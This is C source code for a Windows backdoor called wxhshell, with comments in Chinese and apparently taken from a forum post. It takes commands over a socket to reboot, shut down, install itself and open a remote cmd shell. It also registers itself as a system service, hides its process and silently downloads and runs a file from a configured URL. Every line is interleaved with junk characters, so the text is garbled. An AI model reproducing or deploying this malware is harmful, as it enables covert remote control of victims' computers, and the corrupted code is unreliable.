    switch(cmd[0]) { s"tyCDc.c  
   12W`7  
  // 帮助 W Z!?O0.A  
  case '?': { gG^A6Ol%D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pi/Jto25z  
    break; -o\o{?t,  
  } xbZx&`(  
  // 安装 c,wYXnJ_t  
  case 'i': { (Nzup 3j  
    if(Install()) `,-w+3?Al  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ 9 F rlj  
    else 701mf1a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7FQ&LF46  
    break; olHT* mr  
    } ](^$5Am  
  // 卸载 @e`%'  
  case 'r': { [ 2WJ];FJ  
    if(Uninstall()) -^R6U~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z}b25)  
    else lKtA.{(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IjshxNk  
    break; ,b b/ $   
    } &3@ {?K  
  // 显示 wxhshell 所在路径 IdHyd Y1  
  case 'p': { ?.A~O-w  
    char svExeFile[MAX_PATH]; HITw{RPrW  
    strcpy(svExeFile,"\n\r"); }fS`jq;  
      strcat(svExeFile,ExeFile); X-lB1uq^  
        send(wsh,svExeFile,strlen(svExeFile),0); >EacXPt-O  
    break; PUU "k:{  
    } QsO%m  
  // 重启 \/wbk`2  
  case 'b': { ApT8;F B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J*!_kg)>J  
    if(Boot(REBOOT)) Lm!/ iseGv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -za+Wa`vH  
    else { <~d3L4h*<  
    closesocket(wsh); )o=ipm[  
    ExitThread(0); NZ|(#` X  
    } ?3duW$`  
    break; 6I<^wS9j_  
    } qcmf*Yl:v  
  // 关机 SV?^i`  
  case 'd': { (=jztIZ C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ? "+g6II  
    if(Boot(SHUTDOWN)) cZb5h 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >.xg o6  
    else { $ ;J:kd;<  
    closesocket(wsh); '5f6 M^}|2  
    ExitThread(0); ]"wl*$N  
    } _nn\O3TB  
    break; ;Xr|['\'  
    } G`D~OI  
  // 获取shell ]%Db%A  
  case 's': { 2F z;TNS  
    CmdShell(wsh); j#f7-nHyz8  
    closesocket(wsh); i&di}x  
    ExitThread(0); 3g{T+c*  
    break; a,/wqX  
  } =O.%)|  
  // 退出 _rN1(=J  
  case 'x': { =/Lwprj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [YTOrN  
    CloseIt(wsh); ]lgI Q;r  
    break; 5bZjW~d  
    } ,zP.ch0K  
  // 离开 g'pB<?'E'  
  case 'q': { 9aa cW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (+x!wX( x  
    closesocket(wsh); LJh^-FQ  
    WSACleanup(); +\ZaVi  
    exit(1); o-ee3j.  
    break; D8O&`!mf  
        } |bM?Q$>~  
  } S [=l/3c  
  } T1_qAz+  
ssUm1F\  
  // 提示信息 vw'BKi F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `at>X&Ce,  
} ,UA-Pq3 }  
  } @&F\M}  
?AlTQL~c  
  return; )*m#RqLQ8  
} SmMJ%lgA6  
= a54  
// shell模块句柄 _yu_Ev}R  
int CmdShell(SOCKET sock) YsBOh{Ml  
{ mW 4{*  
STARTUPINFO si; Eo@b)h  
ZeroMemory(&si,sizeof(si)); 0,M1Q~u%.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =K`]$Og}8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z{p62|+Ck@  
PROCESS_INFORMATION ProcessInfo; 5n#@,V.O/  
char cmdline[]="cmd"; J69B1Yi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M!Wjfq ^~  
  return 0; '"4S3Fysm  
} ,>vI|p,/G*  
,Srj38p  
// 自身启动模式 &"/IV$H  
int StartFromService(void) 8(kP=   
{ c)Ep<W<r1  
typedef struct  dl;  
{ a]%>7yr4  
  DWORD ExitStatus; ZL^ svGy  
  DWORD PebBaseAddress; Z^l!#"\4m  
  DWORD AffinityMask; =zX A0%  
  DWORD BasePriority; -A3>+G3[  
  ULONG UniqueProcessId; s<`54o ,  
  ULONG InheritedFromUniqueProcessId; ,EuJ0]2  
}   PROCESS_BASIC_INFORMATION; |.;LI= CT  
fd&=\~1_$  
PROCNTQSIP NtQueryInformationProcess; YjTA+1}  
n+94./Mh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MET"s.v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r!WXD9#  
qFwJ%(IQ  
  HANDLE             hProcess; r[votdFo  
  PROCESS_BASIC_INFORMATION pbi; ~L3]Wa.  
B 4my  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j?gsc Q3  
  if(NULL == hInst ) return 0; k2t#O%_f  
Kulh:d:w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HyX:4f|]'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rZSX fgfr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4Px  
Q?7:Xb N  
  if (!NtQueryInformationProcess) return 0; t w?\bB  
jn/ J-X=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #nS[]UbwZ  
  if(!hProcess) return 0; 1~_&XNb&  
I6B4S"Q5<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; " +n\0j;  
g#b uy  
  CloseHandle(hProcess); mok%TK  
7Ew.6!s#n1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :4'Fq;%C  
if(hProcess==NULL) return 0; D/7hVwMw:  
JAA{5@ST  
HMODULE hMod; CTOrBl$70  
char procName[255]; U 2@Mxw  
unsigned long cbNeeded; DD(K@M  
u{>_Pb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wO&2S-;_K  
!v`C-1}70  
  CloseHandle(hProcess); Zv8I`/4?  
XDM~H  
if(strstr(procName,"services")) return 1; // 以服务启动 ]%8f-_fSy  
wn-{V kpm  
  return 0; // 注册表启动 <xpHlLc  
} xO nW~Z  
g-cC&)0Q  
// 主模块 ``j8T[g  
int StartWxhshell(LPSTR lpCmdLine) e9e7_QG_-  
{ ,*}5xpX  
  SOCKET wsl; erQ0fW  
BOOL val=TRUE; >QJfTkD$  
  int port=0; sH}q&=  
  struct sockaddr_in door; KE k]<b=  
cHO8%xu`  
  if(wscfg.ws_autoins) Install(); JMa[Ulz  
X8Ld\vZYn  
port=atoi(lpCmdLine); sKLH.@  
vs|_l!n3  
if(port<=0) port=wscfg.ws_port; 5|^{t00T~  
xU5+"t~  
  WSADATA data; Q#$#VT!F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *gxo! F}  
!R/- |Kjy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y3J;Kk#AH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O*d4zBT  
  door.sin_family = AF_INET; nR()ei^X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3>I   
  door.sin_port = htons(port); >.]' N:5  
M zbs#v0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tg X},OU^  
closesocket(wsl); ZX Sl+k .  
return 1; .{@aQwN  
} eyLVu.  
 t=;84lA  
  if(listen(wsl,2) == INVALID_SOCKET) { $)fybn Y  
closesocket(wsl); EC6Q<&]Iw  
return 1; er[%Nt+99  
} %488"  
  Wxhshell(wsl); k'd(H5A   
  WSACleanup(); O!c b-  
RXj6L~vs5_  
return 0; w|uO)/v  
rq.S0bzH  
} W"@FRWcd  
MGmUgc  
// 以NT服务方式启动 RRBokj)]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v\UwL-4[  
{ { _]'EK/w  
DWORD   status = 0; dK=<%)N  
  DWORD   specificError = 0xfffffff; 4p %=8G|  
UW%.G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WLTraB[?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b(Ev:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3/w) mY-o  
  serviceStatus.dwWin32ExitCode     = 0; f#W5Nu'*!  
  serviceStatus.dwServiceSpecificExitCode = 0; MwlhL?  
  serviceStatus.dwCheckPoint       = 0; x\ pC&  
  serviceStatus.dwWaitHint       = 0; v .ftfL!  
5$T>noD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ( _{\tgSm  
  if (hServiceStatusHandle==0) return; ':v@Pr|  
t1I` n(]n  
status = GetLastError(); c QjzI#  
  if (status!=NO_ERROR) H9^DlIv('  
{ $:YJ<HvG<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y'9 bs  
    serviceStatus.dwCheckPoint       = 0; qQ_o>+3VAy  
    serviceStatus.dwWaitHint       = 0; :V%XEN)  
    serviceStatus.dwWin32ExitCode     = status; UO& p2   
    serviceStatus.dwServiceSpecificExitCode = specificError; JERWz~n}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3']yjj(gHr  
    return; _Vs\:tygs  
  } Nz ,8NM]  
"o*zZ;>^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3KF[ v{  
  serviceStatus.dwCheckPoint       = 0; k]n=7vw;  
  serviceStatus.dwWaitHint       = 0; +;}XWV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f8Xe%"<  
} tsFwFB*  
mv1_vF:  
// 处理NT服务事件,比如:启动、停止 QDRgVP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;plzJ6>  
{ I.<>6ISI@  
switch(fdwControl) \gh`P S-B  
{ WrR97]7t  
case SERVICE_CONTROL_STOP: @+v;B:  
  serviceStatus.dwWin32ExitCode = 0;  [>'P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1!x-_h}  
  serviceStatus.dwCheckPoint   = 0; dJhT}"x  
  serviceStatus.dwWaitHint     = 0; WheJ 7~  
  { b ;Vy=f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S >PTD@  
  } Lmy ^/P%  
  return; ugM,wT&~Y  
case SERVICE_CONTROL_PAUSE: dz',!|>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v@43 %`"Gj  
  break; tNskB`541  
case SERVICE_CONTROL_CONTINUE: ? U:LAub  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V01-n{~G  
  break; K#=)]qIk  
case SERVICE_CONTROL_INTERROGATE: 0;Y|Ua[G+~  
  break; ~ituPrH%<  
}; 5N:THvh6o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b@OL !?JP  
} SnF3I  
DR`d^aBWQ  
// 标准应用程序主函数 C ^@~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R~,*W1G6sF  
{ "RG.27  
C(:tFuacpw  
// 获取操作系统版本 5-L?JD 4&  
OsIsNt=GetOsVer(); #L-3eW=f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rNL*(PN}lO  
U!"+~d)  
  // 从命令行安装 U$J l5[`F^  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5Pis0fa  
]_S&8F}|  
  // 下载执行文件 =o5ZcC  
if(wscfg.ws_downexe) { -Bqn^ E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `}s$cgEG  
  WinExec(wscfg.ws_filenam,SW_HIDE); t@Qs&DZ7k  
} G[YbgG=9Y  
&)Fp  
if(!OsIsNt) { Oj# nF@U  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z2Bl$ \  
HideProc(); ;as4EqiK  
StartWxhshell(lpCmdLine); llbj-9OZL  
} dkuB{C,  
else &~+lXNXF  
  if(StartFromService()) 1.]Py"@:  
  // 以服务方式启动 $/%|0tQ  
  StartServiceCtrlDispatcher(DispatchTable); T jO}P\p  
else s4 o-*1R*`  
  // 普通方式启动 bJD2c\qoc  
  StartWxhshell(lpCmdLine); 6]dK,  
8X`Gm!)  
return 0; c <[?Z7y  
}
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只看该作者 1 发表于: 2006-10-10
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